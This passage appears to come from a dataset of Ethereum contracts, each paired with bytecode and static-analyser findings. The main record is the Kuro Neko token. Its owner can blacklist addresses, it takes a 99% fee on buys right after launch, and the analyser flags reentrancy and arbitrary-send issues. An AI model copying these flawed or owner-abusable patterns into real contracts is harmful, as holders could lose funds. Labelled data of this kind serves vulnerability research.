59160200191906001019061188c565b506118b39291506118b7565b5090565b610f3291905b808211156118b357600081556001016118bd5600a165627a7a72305820be6901e108e96eecc77d9d12160251eb7730e2eb715b8f8425f350679525a73b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,049
0x5604e2f8dd7f1f48acd30dff2c313048efa5cfbe
/** *Submitted for verification at Etherscan.io on 2022-01-16 */ /* Kuro Neko $KURO KKKKKKKKK KKKKKKK NNNNNNNN NNNNNNNN kkkkkkkk K:::::::K K:::::K N:::::::N N::::::N k::::::k K:::::::K K:::::K N::::::::N N::::::N k::::::k K:::::::K K::::::K N:::::::::N N::::::N k::::::k KK::::::K K:::::KKKuuuuuu uuuuuu rrrrr rrrrrrrrr ooooooooooo N::::::::::N N::::::N eeeeeeeeeeee k:::::k kkkkkkk ooooooooooo K:::::K K:::::K u::::u u::::u r::::rrr:::::::::r oo:::::::::::oo N:::::::::::N N::::::N ee::::::::::::ee k:::::k k:::::koo:::::::::::oo K::::::K:::::K u::::u u::::u r:::::::::::::::::r o:::::::::::::::o N:::::::N::::N N::::::N e::::::eeeee:::::eek:::::k k:::::ko:::::::::::::::o K:::::::::::K u::::u u::::u rr::::::rrrrr::::::ro:::::ooooo:::::o N::::::N N::::N N::::::Ne::::::e e:::::ek:::::k k:::::k o:::::ooooo:::::o K:::::::::::K u::::u u::::u r:::::r r:::::ro::::o o::::o N::::::N N::::N:::::::Ne:::::::eeeee::::::ek::::::k:::::k o::::o o::::o K::::::K:::::K u::::u u::::u r:::::r rrrrrrro::::o o::::o N::::::N N:::::::::::Ne:::::::::::::::::e k:::::::::::k o::::o o::::o K:::::K K:::::K u::::u u::::u r:::::r o::::o o::::o N::::::N N::::::::::Ne::::::eeeeeeeeeee k:::::::::::k o::::o o::::o KK::::::K K:::::KKKu:::::uuuu:::::u r:::::r o::::o o::::o N::::::N N:::::::::Ne:::::::e k::::::k:::::k o::::o o::::o K:::::::K K::::::Ku:::::::::::::::uur:::::r o:::::ooooo:::::o N::::::N N::::::::Ne::::::::e k::::::k k:::::k o:::::ooooo:::::o K:::::::K K:::::K u:::::::::::::::ur:::::r o:::::::::::::::o N::::::N N:::::::N e::::::::eeeeeeee k::::::k k:::::ko:::::::::::::::o K:::::::K K:::::K uu::::::::uu:::ur:::::r oo:::::::::::oo N::::::N N::::::N ee:::::::::::::e k::::::k k:::::koo:::::::::::oo KKKKKKKKK KKKKKKK uuuuuuuu uuuurrrrrrr ooooooooooo NNNNNNNN NNNNNNN eeeeeeeeeeeeee kkkkkkkk kkkkkkk ooooooooooo Telegram: https://t.me/KuroNeKoOfficial Twitter: https://twitter.com/KUR0NEK0fficial */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KuroNeko is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kuro-Neko"; string private constant _symbol = "KURO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 2; _feeAddr2 = 12; } if (openBlock + 6 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 690000000000000000000 * 10**9; _maxWalletAmount = 1380000000000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103ac578063dd62ed3e146103c1578063e98391ff14610407578063ec28438a14610427578063f429389014610447578063ffecf5161461045c57600080fd5b80638da5cb5b146102d757806395d89b41146102ff5780639a5904271461032c5780639b19251a1461034c578063a9059cbb1461036c578063bf6642e71461038c57600080fd5b806327a14fc21161010857806327a14fc214610231578063313ce5671461025157806351bc3c851461026d5780635932ead11461028257806370a08231146102a2578063715018a6146102c257600080fd5b806306fdde0314610150578063095ea7b31461019457806318160ddd146101c457806323b872dd146101ef578063273123b71461020f57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260098152684b75726f2d4e656b6f60b81b60208201525b60405161018b9190611ac7565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611a1a565b61047c565b604051901515815260200161018b565b3480156101d057600080fd5b506d0366e7064422fd842023400000005b60405190815260200161018b565b3480156101fb57600080fd5b506101b461020a3660046119d9565b610493565b34801561021b57600080fd5b5061022f61022a366004611966565b6104fc565b005b34801561023d57600080fd5b5061022f61024c366004611a80565b610550565b34801561025d57600080fd5b506040516009815260200161018b565b34801561027957600080fd5b5061022f61058e565b34801561028e57600080fd5b5061022f61029d366004611a46565b6105a7565b3480156102ae57600080fd5b506101e16102bd366004611966565b6105ef565b3480156102ce57600080fd5b5061022f610611565b3480156102e357600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561030b57600080fd5b506040805180820190915260048152634b55524f60e01b602082015261017e565b34801561033857600080fd5b5061022f610347366004611966565b610685565b34801561035857600080fd5b5061022f610367366004611966565b6106d0565b34801561037857600080fd5b506101b4610387366004611a1a565b61071e565b34801561039857600080fd5b5061022f6103a7366004611a80565b61072b565b3480156103b857600080fd5b5061022f61075a565b3480156103cd57600080fd5b506101e16103dc3660046119a0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041357600080fd5b5061022f610422366004611a46565b610b40565b34801561043357600080fd5b5061022f610442366004611a80565b610b88565b34801561045357600080fd5b5061022f610bc6565b34801561046857600080fd5b5061022f610477366004611966565b610bd0565b6000610489338484610c1e565b5060015b92915050565b60006104a0848484610d42565b6104f284336104ed85604051806060016040528060288152602001611c82602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611229565b610c1e565b5060019392505050565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161052690611b1c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161052690611b1c565b61058881633b9aca00611bfc565b600d5550565b6000610599306105ef565b90506105a481611263565b50565b6000546001600160a01b031633146105d15760405162461bcd60e51b815260040161052690611b1c565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461048d906113ec565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161052690611b1c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106af5760405162461bcd60e51b815260040161052690611b1c565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fa5760405162461bcd60e51b815260040161052690611b1c565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000610489338484610d42565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161052690611b1c565b600c55565b6000546001600160a01b031633146107845760405162461bcd60e51b815260040161052690611b1c565b601354600160a01b900460ff16156107de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610526565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082030826d0366e7064422fd84202340000000610c1e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611983565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d957600080fd5b505afa1580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611983565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611983565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c1816105ef565b6000806109d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3957600080fd5b505af1158015610a4d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a729190611a99565b5050601380546c08b5829f66bff9a42950000000600a556c116b053ecd7ff34852a0000000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190611a63565b5050565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b815260040161052690611b1c565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610bb25760405162461bcd60e51b815260040161052690611b1c565b610bc081633b9aca00611bfc565b600a5550565b476105a481611470565b6000546001600160a01b03163314610bfa5760405162461bcd60e51b815260040161052690611b1c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610526565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610526565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610526565b6001600160a01b038216610e085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610526565b60008111610e6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610526565b6002600e55600c600f556000546001600160a01b03848116911614801590610ea057506000546001600160a01b03838116911614155b8015610eb557506001600160a01b0383163014155b8015610eda57506001600160a01b03831660009081526005602052604090205460ff16155b8015610eff57506001600160a01b03821660009081526005602052604090205460ff16155b1561120e576001600160a01b03831660009081526006602052604090205460ff16158015610f4657506001600160a01b03821660009081526006602052604090205460ff16155b610f4f57600080fd5b6013546001600160a01b038481169116148015610f7a57506012546001600160a01b03838116911614155b8015610f9f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610fb45750601354600160b81b900460ff165b156110f157600a5481111561100b5760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610526565b6001600160a01b03821660009081526007602052604090205442116110675760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610526565b600d5481611074846105ef565b61107e9190611bc2565b11156110cc5760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610526565b6110d742601e611bc2565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111c57506012546001600160a01b03848116911614155b801561114157506001600160a01b03831660009081526005602052604090205460ff16155b15611151576002600e55600c600f555b43600b5460066111619190611bc2565b1015801561117c57506013546001600160a01b038481169116145b1561118c576001600e556063600f555b6000611197306105ef565b600c54909150811080159081906111b85750601354600160a81b900460ff16155b80156111d257506013546001600160a01b03868116911614155b80156111e75750601354600160b01b900460ff165b15611207576111f582611263565b4780156112055761120547611470565b505b5050611219565b6000600e819055600f555b6112248383836114f5565b505050565b6000818484111561124d5760405162461bcd60e51b81526004016105269190611ac7565b50600061125a8486611c1b565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ab576112ab611c48565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112ff57600080fd5b505afa158015611313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113379190611983565b8160018151811061134a5761134a611c48565b6001600160a01b0392831660209182029290920101526012546113709130911684610c1e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a9908590600090869030904290600401611b51565b600060405180830381600087803b1580156113c357600080fd5b505af11580156113d7573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610526565b600061145d611500565b90506114698382611523565b9392505050565b6010546001600160a01b03166108fc61148a836002611523565b6040518115909202916000818181858888f193505050501580156114b2573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114cd836002611523565b6040518115909202916000818181858888f19350505050158015610b3c573d6000803e3d6000fd5b611224838383611565565b600080600061150d61165c565b909250905061151c8282611523565b9250505090565b600061146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116a8565b600080600080600080611577876116d6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115a99087611733565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115d89086611775565b6001600160a01b0389166000908152600260205260409020556115fa816117d4565b611604848361181e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161164991815260200190565b60405180910390a3505050505050505050565b60085460009081906d0366e7064422fd8420234000000061167d8282611523565b82101561169f575050600854926d0366e7064422fd8420234000000092509050565b90939092509050565b600081836116c95760405162461bcd60e51b81526004016105269190611ac7565b50600061125a8486611bda565b60008060008060008060008060006116f38a600e54600f54611842565b9250925092506000611703611500565b905060008060006117168e878787611897565b919e509c509a509598509396509194505050505091939550919395565b600061146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611229565b6000806117828385611bc2565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610526565b60006117de611500565b905060006117ec83836118e7565b306000908152600260205260409020549091506118099082611775565b30600090815260026020526040902055505050565b60085461182b9083611733565b60085560095461183b9082611775565b6009555050565b600080808061185c606461185689896118e7565b90611523565b9050600061186f60646118568a896118e7565b90506000611887826118818b86611733565b90611733565b9992985090965090945050505050565b60008080806118a688866118e7565b905060006118b488876118e7565b905060006118c288886118e7565b905060006118d4826118818686611733565b939b939a50919850919650505050505050565b6000826118f65750600061048d565b60006119028385611bfc565b90508261190f8583611bda565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610526565b60006020828403121561197857600080fd5b813561146981611c5e565b60006020828403121561199557600080fd5b815161146981611c5e565b600080604083850312156119b357600080fd5b82356119be81611c5e565b915060208301356119ce81611c5e565b809150509250929050565b6000806000606084860312156119ee57600080fd5b83356119f981611c5e565b92506020840135611a0981611c5e565b929592945050506040919091013590565b60008060408385031215611a2d57600080fd5b8235611a3881611c5e565b946020939093013593505050565b600060208284031215611a5857600080fd5b813561146981611c73565b600060208284031215611a7557600080fd5b815161146981611c73565b600060208284031215611a9257600080fd5b5035919050565b600080600060608486031215611aae57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611af457858101830151858201604001528201611ad8565b81811115611b06576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba15784516001600160a01b031683529383019391830191600101611b7c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bd557611bd5611c32565b500190565b600082611bf757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c1657611c16611c32565b500290565b600082821015611c2d57611c2d611c32565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a457600080fd5b80151581146105a457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c3c2b5c1487b8e35507a2f53774796f69803d021e6885fd95b70e1423b0050864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,050
0xfd51c3a3e6358a586ba6ac1e7a6269a7915fc116
pragma solidity 0.4.24; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: 